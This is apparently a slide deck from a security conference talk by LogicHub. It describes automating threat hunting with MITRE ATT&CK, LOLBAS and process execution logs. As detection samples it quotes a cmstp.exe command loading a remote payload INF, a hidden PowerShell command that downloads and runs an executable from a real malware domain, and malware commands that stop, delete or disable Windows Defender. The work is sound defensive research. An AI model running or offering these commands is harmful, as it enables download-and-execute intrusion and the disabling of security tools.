

Automate ATT&CK-based Threat Intelligence to Threat Hunting

LogicHub

Your Speaker



Evan Gaustad
Principal Threat
Detection Engineer
LogicHub

LogicHub

Agenda

- Threat Hunting Automation Motivation
- MITRE ATT&CK & LOLBAS
- Process Execution Logs
- Artificial Intelligence Agent Design
- Putting it all together
- Results
- Take-aways



Threat Hunting Automation Motivation



Current Reality

- Threat hunting used to detect activity we are currently missing. As defenders, we often don't know we are missing it.
- Resource gaps
- Skill gaps
- Limited time to spend on threat hunting

Suggested Approach

- Automate threat hunting
- MITRE ATT&CK and other frameworks is a good place to start
- MUST be effective with both small and big data

MITRE ATT&CK



- Adversarial Tactics, Techniques, and Common Knowledge
- Knowledge base for cyber adversary behavior mapped to the kill chain
- Can be consumed in Wiki format or programmatically via STIX/TAXII interface



<https://attack.mitre.org/>

MITRE ATT&CK



CMSTP

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.^[1] CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands.^[2] Similar to Regsvr32 / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs^[3] and/or COM scriptlets (SCT) from remote servers.^{[4][5]} This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](#) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.^{[3][5]}


CMSTP

Technique

ID	T1191
Tactic	Defense Evasion, Execution
Platform	Windows
Permissions	User
Required	
Data	Process Monitoring, Process command-line parameters
Sources	
Supports	No
Remote	
Defense	Application whitelisting, Anti-virus
Bypassed	
Contributors	Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

LOLBAS

- Living Off the Land Binaries and Scripts
 - General term used when an attacker abuses built-in binaries and scripts of an OS install or common application installation
 - These techniques may be harder to detect, evade controls, blend in with normal use etc.
 - LOLBAS typically provides examples of how these tools are invoked at the command line.



<https://github.com/api0cradle/LOLBAS>

LOLBAS



37 lines (25 sloc) | 1.05 KB

[Raw](#) [Blame](#) [History](#)

Cmstp.exe

- Functions: Execute, UACBypass

```
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
```

```
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/L0LBAS/master/OSBinaries/Payload/Cmstp.inf
```

Acknowledgements:

- Oddvar Moe - @oddvarmoe
- Nick Tyrer - @NickTyrer

Code sample:

- [Cmstp.inf](#)
- [Cmstp_calc.sct](#)


Resources:

- <https://twitter.com/NickTyrer/status/958450014111633408>

MS Windows



- Learn about Windows Operating System
 - Common OS binaries. Can be obtained from “gold image(s)” and process execution logs.
 - Online documentation for tool descriptions and command line arguments.
 - Operating system features, some obscure and undocumented



Threat Hunting Living off the Land



- Review and understand MITRE ATT&CK techniques and LOLBAS examples
- Identify patterns that might indicate malicious activity
- Search hypothesized pattern in enterprise endpoint logs to confirm
- Reduce events from millions per day to dozens
- Repeat until something “interesting” is found and is escalated for investigation



<https://moneyinc.com/managing-work-related-stress-in-financial-services/>

Process Execution Logs



Provides information about each process executed on an endpoint

Collection Option #1: Windows Event Logging

- Enable logging via Group Policy change (Event ID 4688)
- Enable Command Line Argument Logging

Collection Option #2: Sysmon

- Run Sysmon and enable Type 1 event logging
- Swift-On-Security (<https://github.com/SwiftOnSecurity/sysmon-config>)

Collection Option #3: EDR Tools

- Enterprise Detection Response (EDR) tools (e.g. Tanium, Carbon Black, CyberReason)

Malware Sandbox Logs

- Collected malware sandbox logs from Hybrid Analysis
- Parsed and preprocessed more than 3 months of logs

The screenshot shows the Hybrid Analysis API documentation for the `/feed/latest` endpoint. It includes the API logo, a "Feed" dropdown menu, and a "Try it out" button. The "Parameters" section details the required `user-agent` parameter, which must be a User-Agent string like "Falcon Sandbox". A note specifies the default value is "Falcon Sandbox".


```
{  
  "md5": "a9613a2e4620683fc294d395329f1e06",  
  "sha1": "82591c531ecb20f5390a4173dfbc93e42187e3ba",  
  "sha256": "ac6b771f6f404303cda8ea93a8c819aea67f0d1a384caf7b751f92d753987b71",  
  "analysis_start_time": "2018-05-18 17:59:20",  
  "threatscore": 100,  
  "threatlevel_human": "malicious",  
  "size": 26112,  
  "type": "Composite Document File V2 Document, Little Endian ...",  
  "hosts_geo": [{"ip": "185.145.45.29", "lat": "59.9127", "lon": "10.7461", "cc": "GBR"}],  
  "vt_detect": 3,  
  "process_list": [  
    {  
      "uid": "00044009-00003044",  
      "name": "EXCEL.EXE",  
      "normalizedpath": "%PROGRAMFILES%\Microsoft Office\Office14\EXCEL.EXE",  
      "commandline": "/dde",  
      "sha256": "ead4783058efc1fcade92266cca02ae8ab79105405775208167d280c14d98914"  
    }, {  
      "uid": "00055582-00003000",  
      "parentuid": "00044009-00003044",  
      "name": "cmd.exe",  
      "normalizedpath": "%WINDIR%\System32\cmd.exe",  
      "commandline": "/c @echo Set objShell = CreateObject(\\"Wscript.Shell\\") > Pz.vbs & @echo objShell  
      "sha256": "17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae"  
    }, {  
  ]  
}
```

https://www.hybrid-analysis.com/docs/api/v2#/Feed/get_feed_latest

Automate Threat Hunting LOLBAS



- Like humans, AI needs knowledge of MITRE ATT&CK, LOLBAS, Microsoft built-in tools (long-term memory)
- Working memory learns new variations of attacks (short-term memory)
- Automate searches of enterprise logs
- Score results to escalate high priority events for investigation




<https://www.impactbnd.com/blog/marketing-automation>



Cognitive Architecture



ATT&CK™






Cognitive Architecture



Malware Sandbox Logs


Cognitive Architecture



Heuristics,
"Similarity" searches,
and classification

Adversary TTPs
Prioritized Events to
Investigate

Cognitive Architecture



Knowledge Representation



Attacker /
Normal Use
knowledge

Tool Usage
Examples



Powershell.exe

Rundll32.exe
- Functions: Execute, Read ADS
- References: LOLBAS/ATT&CK
- Windows path:
C:\Windows\...\rundll32.exe
- Windows description:
Windows host process ...

Process Chains

excel.exe > rundll32.exe

rundll32.exe > attrib.exe

cmd.exe > rundll32.exe

- First_seen: 7/2/2018
- Label: Benign
- Times_seen: 35
...

Command Line Args

javascript:"..\mshtml...

desk.cpl,InstallScreen...

shell32.dll,Control...

- First_seen: 8/9/2018
- Label: Malicious
- Times_seen: 4
...

LOLBAS / ATT&CK Mapping



Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command And Control
10 items	31 items	56 items	28 items	59 items	20 items	19 items	17 items	13 items	9 items	21 items
Driver Compromise	Process Hollowing	Brain Drain and -based	Access Token Manipulation	Access Token Manipulation	Access Token Manipulation	Asset Discovery	Application Script	Audio Capture	Automated Exfiltration	Community Used Port
Exploit Public-Facing Application	CMSTP	Accessibility Features	Access Token Features	Brute Padding	Brute History	Application Window Discovery	Autonomous Collection	Data Compressed	Data Compressed	Communication Through Removable Media
Hardware Addition	Command-Line Interface	AppCert DLLs	AppCert DLLs	BITS Jobs	Brute Force	Browser Bookmark Discovery	Clipboard Data	Data Encrypted	Data Encrypted	Connective Proxy
Replication Through Removable Media	Control Panel Items	AppInit DLLs	Application Shimming	Bypass User Account Control	Credential Dumping	File and Directory Discovery	Distributed Component Object Model	Data Transfer Size Limits	Data Transfer Size Limits	Custom Command and Control Protocol
Spearphishing Attachment	Execution through API	Authentication Package	Application Shimming	CMSTP	Credentials In Files	Network Service Scanning	Exploration of Remote Services	Data from Local System	Exfiltration Over Alternative Protocol	Exfiltration Over Alternative Protocol
Spearphishing Link	Execution through Module Load	Bootkit	DLL Search Order Hijacking	Code Signing	Credentials In Registry	Network Share Discovery	Data from Network Shared Drives	Data from Removable Media	Data Staged	Custom Cryptographic Protocol
Sploit via Service Supply Chain	Exploitation for Client Execution	Component Extensions	DLL Hijacking	Component Firmware	Exploitation for Credential Access	Password Policy Discovery	Pass the Hash	Remote Desktop Protocol	Exfiltration Over Physical Medium	Fallback Channels
Trusted Relationship	Graphics User Interface	Change Default File Association	Exploitation for Privilege Escalation	Component Object Model Hijacking	Control Panel Items	Peripheral Device Discovery	Permissions Groups Discovery	Remote Desktop Protocol	Exfiltration Over Other Network Medium	Multi-hop Proxy
Valid Accounts	InstallUtil	Component Firmware	Extra Window Memory Injection	Hooking	Input Capture	Process Discovery	Process Discovery	Remote Desktop Protocol	Exfiltration Over Physical Medium	Multi-Stage Channels
Local Job Scheduling	Installutil	Component Object Model Hijacking	File System Permissions	Input Prompt	Query Registry	Query Registry	Remote Services	Email Collection	File Staged	Multi-band Communication
LSASS Driver	LSASS Driver	Create Account	Weakness	Kerberoasting	Remote System Discovery	Remote System Discovery	Input Capture	Input Capture	Remote	Multi-band Communication
Mshta	PowerShell	DLL Search Order Hijacking	Hooking	Disabling Security Tools	Security Software Discovery	System Information Discovery	Replication Through Removable Media	Screen Capture	Screen Capture	Port Knocking
PowerShell	Regsvcs/Regasm	Image File Execution Options Injection	DLL Search Order Hijacking	Keychain	System Network Configuration	Shared Webroot	Shared Webroot	Video Capture	Video Capture	Remote Access Tools
Regsv32	Rundll32	Inject DLL	Image File Execution Options Injection	LLMNR/NBT-NS Poisoning	Discover	SSH Hijacking	Taint Shared Content			Remote File Copy
Rundll32	File System Permissions	External Remote Services	Launch Daemon	Network Sharing	System Network Connections Discovery	Third-party Software	Windows Admin Shares	Windows Remote Management	Windows Remote Management	Standard Application Layer Protocol
cheduled Task	Hidden Files and Directories	New Service	Launch Daemon	NTFS CONTROL	System Owner/User Discovery	System Service Discovery	System Time Discovery			Standard Cryptographic Protocol
Scripting	Hooking	Path Interception	Path Interception	Image File Execution Options Injection	Two-Factor Authentication					Standard Non-Application Layer Protocol
Service Execution	Hypervisor	Plist Modification	Plist Modification	Indicator Blocking	Interception					Uncommonly Used Port
Signed Binary Proxy Execution	Hypervisors	Process Injection	Process Injection	Indicator Removal from Tools						Web Service
Signed Script Proxy Execution	Kernel Modules and Extensions	Scheduled Task	Scheduled Task	Indicator Removal on Host						
Source	Launch Agent	Service Registry Permissions	Service Registry Permissions	Indirect Command Execution						
Space after Filename	Launch Daemon	Weakness	Weakness	Install Root Certificate						
Third-party Software	Launchd	Setuid and Setgid	Setuid and Setgid	Install						
Trap	Launchd	SID-History Injection	SID-History Injection	Launchd						
Trusted Developer Utilities	LC_LOAD_DYLIB Addition	Startup Items	Startup Items	LC_RPATH						
User Execution	Local Job Scheduling	Sudo Cache	Sudo Cache	LC_MAIN Hijacking						
Windows Management Instrumentation	Logon Item	Valid Accounts	Valid Accounts	Masquerading						
Windows Remote Management	Logon Scripts	Web Shell	Web Shell	Modify Registry						
	LSASS Driver	Modify Existing Service	Web Shell	Mahta						
		Ntsh Helper DLL		Network Share Connection Removal						
		New Service		NTFS File Attributes						
		Office Application Startup		Obfuscated Files or Information						
		Path Interception		Path Interception						
		Plist Modification		Port Knocking						
		Port Knocking		Process Doppelgänging						
		Port Knockers		Process Hollowing						
		Re-common		Process Injection						
		Re-opened Applications		Redundant Access						
		Redundant Access		Registry Run Keys / Start Folder						
		Registry Run Keys / Start Folder		Scheduled Task						
		Screensaver		Screensaver						
		Security Support Provider		Security Support Provider						
		Service Registry Permissions		Weakness						
		Weakness		Shortcut Modification						
		SIP and Trust Provider Hijacking		Startup Items						
		Startup Items		System Firmware						
		System Firmware		Time Providers						
		Time Providers		Trap						
		Trap		Valid Accounts						
		Valid Accounts		Web Shell						
		Web Shell		Windows Management Instrumentation Event Subscription						
		Windows Management Instrumentation Event Subscription		Winlogon Helper DLL						

45 of 283 (16%) ATT&CK Techniques directly mapped to LOLBAS

LOLBAS / ATT&CK Mapping

Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Command And Control
15 items	9 items	5 items	18 items	2 items	3 items	2 items	1 items
CMSTP	BITS Jobs	Bypass User Account Control	BITS Jobs	Credential Dumping	Query Registry	Remote File Copy	Remote File Copy
Control Panel Items	Modify Existing Service	New Service	Bypass User Account Control	Credentials in Registry	Security Software Discovery	Windows Remote Management	
InstallUtil			CMSTP				
Mshta	Netsh Helper DLL	Path Interception	Control Panel Items		System Service Discovery		
PowerShell	New Service	Port Monitors	Deobfuscate/Decode Files or Information				
Regsvcs/Regasm	Path Interception	Service Registry Permissions Weakness	Indirect Command Execution				
Regsvr32	Port Monitors		InstallUtil				
Rundll32	Service Registry Permissions Weakness		Modify Registry				
Scripting			Mshta				
Service Execution	SIP and Trust Provider Hijacking		NTFS File Attributes				
Signed Binary Proxy Execution	Winlogon Helper DLL		Regsvcs/Regasm				
Signed Script Proxy Execution			Regsvr32				
Trusted Developer Utilities			Rundll32				
Windows Management Instrumentation			Scripting				
Windows Remote Management			Signed Binary Proxy Execution				
			Signed Script Proxy Execution				
			SIP and Trust Provider Hijacking				
			Trusted Developer Utilities				

45 of 283 (16%) ATT&CK Techniques directly mapped to LOLBAS

Process Chains




- Parse malware sandbox process execution logs for process call chains
- Learn which process chains are malicious, benign, and whether we have enough information to be certain

PPID	PID	Process / Command Line
100	101	WINWORD.EXE /n "C:\ProtectedDocument.docm"
101	102	rundll32.exe %WINDIR%\System32\rundll32.EXE
102	103	updateservice.exe

winword.exe > rundll32.exe > unknown.exe
First seen: 5/20/2018
Last observed: 8/20/2018
Times seen: 35
malicious: 35
benign: 0
...



Process Chain Training



Process Chain TTP Identification



- Beyond tribal knowledge, AI automatically extracted process chain TTPs with no benign examples.

Count	Process Chain
4710	unknown_process.exe => unknown_process.exe => taskkill.exe
1295	unknown_process.exe => cmd.exe => cmd.exe
1215	winword.exe => cmd.exe
1003	unknown_process.exe => unknown_process.exe => cmd.exe => cscript.exe
718	unknown_process.exe => nslookup.exe
699	winword.exe => powershell.exe
690	unknown_process.exe => cmd.exe => cscript.exe
673	unknown_process.exe => unknown_process.exe => unknown_process.exe => cmd.exe
556	unknown_process.exe => taskkill.exe
550	unknown_process.exe => attrib.exe

Command Line Argument Analysis



- Some techniques better identified through command line arguments

PPID	PID	Process / Command Line
100	101	cmd.exe /c powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile ('http://atoloawrd.ru/arox/nmc.exe?gJOHv','%TemP%PnY63.eXE'); InVOKE-WmiMethod -Class Win32_PRoCESS -Name Create -ArgumentList '%TeMp%PnY63.EXE'

Process Execution Log Example



Similarity Measurement



/c powershell -w hidden -noprofile
-executionpolicy bypass ...

First seen: 5/20/2018
Last observed: 8/20/2018
Times similar seen: 12
malicious: 12
benign: 0

Short Term Memory Representation


Command Line Argument TTP Identification



- AI aggregates statistics using NLP-based similarity searches after it experiences enough data

Count	%	Command Line Arguments for cmd.exe	Comment
80	6.4%	/s /d /c" ftype "	Displays file extension associations
68	5.4%	/c start www.pornhub.com	Forces user to visit porn site
47	3.7%	/c sc stop windefend	Stops Windows Defender service
46	3.7%	/c powershell set-mppreference -disablerealtimemonitoring \$true	Disables realtime monitoring in Microsoft Defender
46	3.7%	/c sc delete windefend	Deletes Windows Defender
43	3.4%	/c cacls "%appdata%\microsoft\windows\start menu\programs\startup\start.lnk" /t /e /g users:f /c	Grants full control of .lnk file to all users
29	2.3%	/c ftyp^e find^str df^il	Searching for .cmd file association
24	1.9%	/k attrib "c:" +s +h	Adds system and hidden file attributes

LOLBAS Frequency by ATT&CK Technique



Limitations

- This proof of concept was entirely based on Windows built-in tools and scripts, but can be extended
- If the attack is not visible in process execution logs, it will not be detected
- Novel techniques may not be caught by this approach
- Opportunity for the AI to have additional knowledge about significance of directory paths, registry keys, and tool documentation



Comparison to EDR Solutions



- Some popular Enterprise Detection and Response (EDR) solutions offer ML / AI capabilities, others do not.
- Unique features of this proof of concept AI:
 - **Highly Dynamic AI.** Learns from a single example and scales its ML approach as the available data grows in size.
 - **Learns from your environment.** Accounts for unique tendencies in your environment and enables a feedback loop from investigations to automatically tune false positives.
 - **Knowledge-based approach.** Decisions are explainable to human analysts. It can provide closest matching benign / malicious examples that fed into its decision along with confidence scores, descriptions of tools, and reference material together with alerts.

Take-aways



- Benefits of host process execution logs
- We can fully automate the extraction of TTPs and automate threat detection based on small and large feeds of malicious / benign activity
- MITRE ATT&CK techniques and LOLBAS can be prioritized based on observed usage in attacks
- Trends of technique usage can be tracked over time
- Code, data, analysis, and presentation can be found here:

<https://github.com/egaus/wayfinder>

About LogicHub



Intelligent Security Automation for:

⚠ Alert Triage

Reduce false positives by 95%

⌚ Incident Response

Reduce response times (MTTR)

📍 Threat Hunting

Detect unknown threats



Q & A



Thank You!

Process Execution Logs Example


1. Enable via GPO here:

Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies\Detailed Tracking

2. Turn on Command Line Arguments

Enable *Include command line in process creation events here*:

Computer Configuration\Administrative Templates\System\Audit Process Creation



<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing>